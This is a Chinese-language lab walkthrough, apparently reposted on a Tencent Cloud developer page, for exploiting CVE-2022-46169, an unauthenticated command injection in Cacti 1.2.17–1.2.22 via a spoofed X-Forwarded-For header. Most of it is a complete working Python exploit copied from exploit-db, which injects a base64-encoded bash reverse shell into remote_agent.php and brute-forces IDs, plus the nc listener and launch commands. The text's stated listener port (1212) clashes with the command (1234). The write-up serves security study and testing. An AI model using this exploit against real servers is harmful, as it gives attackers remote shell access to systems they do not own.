Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。

环境准备

机器 IP
kali 10.132.1.173
靶机 10.22.31.33

靶机启动后,访问http://10.22.31.33会跳转到登录页面。使用admin/admin作为账号密码登录;

登陆后,根据页面中的提示进行初始化。实际上初始化的过程就是不断点击下一步,不需要做任何修改,直到安装成功:

这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph。选择的Graph TypeDevice - Uptime,点击创建:

完成以上操作,环境准备完成。

反弹shell

我们使用后面的poc.py脚本来获取反弹shell,首先本地监听端口1212:

nc -lvnp 1234
​
python poc.py -u http://10.22.31.33 -i 10.132.1.173 -p 1234

可以看到,成功拿到目标shell

poc.py

# https://www.exploit-db.com/exploits/51166
# Exploit Title: Cacti v1.2.22 - Remote Command Execution (RCE)
# Exploit Author: Riadh BOUCHAHOUA
# Discovery Date: 2022-12-08
# Vendor Homepage: https://www.cacti.net/
# Software Links : https://github.com/Cacti/cacti
# Tested Version: 1.2.2x <= 1.2.22
# CVE: CVE-2022-46169
# Tested on OS: Debian 10/11
​
# !/usr/bin/env python3
import random
import sys
​
import httpx, urllib
​
​
class Exploit:
    def __init__(self, url, proxy=None, rs_host="", rs_port=""):
        self.url = url
        self.session = httpx.Client(headers={"User-Agent": self.random_user_agent()}, verify=False, proxy=proxy)
        self.rs_host = rs_host
        self.rs_port = rs_port
​
    def exploit(self):
        # cacti local ip from the url for the X-Forwarded-For header
        # local_cacti_ip  = self.url.split("//")[1].split("/")[0]
        local_cacti_ip = '127.0.0.1'
​
        headers = {
            'X-Forwarded-For': f'{local_cacti_ip}'
        }
​
        revshell = f"bash -c 'exec bash -i &>/dev/tcp/{self.rs_host}/{self.rs_port} <&1'"
        import base64
        b64_revshell = base64.b64encode(revshell.encode()).decode()
        payload = f";echo {b64_revshell} | base64 -d | bash -"
        payload = urllib.parse.quote(payload)
        urls = []
​
        # Adjust the range to fit your needs ( wider the range, longer the script will take to run the more success you will have achieving a reverse shell)
        for host_id in range(1, 100):
            for local_data_ids in range(1, 100):
                urls.append(
                    f"{self.url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}")
​
        for url in urls:
            try:
                print("[*]try: {}".format(urllib.parse.unquote(url)))
                r = self.session.get(url, headers=headers)
                print(f"{r.status_code} - {r.text}")
            except Exception as e:
                print(e)
                sys.exit()
        pass
​
    def random_user_agent(self):
        ua_list = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
        ]
        return random.choice(ua_list)
​
​
def parse_args():
    import argparse
​
    argparser = argparse.ArgumentParser()
    argparser.add_argument("-u", "--url", help="Target URL (e.g. http://192.168.1.100/cacti)")
    argparser.add_argument("-p", "--remote_port", help="reverse shell port to connect to", required=True)
    argparser.add_argument("-i", "--remote_ip", help="reverse shell IP to connect to", required=True)
    return argparser.parse_args()
​
​
def main() -> None:
    # Open a nc listener (rs_host+rs_port) and run the script against a CACTI server with its LOCAL IP URL
    args = parse_args()
    e = Exploit(args.url, rs_host=args.remote_ip, rs_port=args.remote_port)
    e.exploit()
​
​
if __name__ == "__main__":
    main()

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐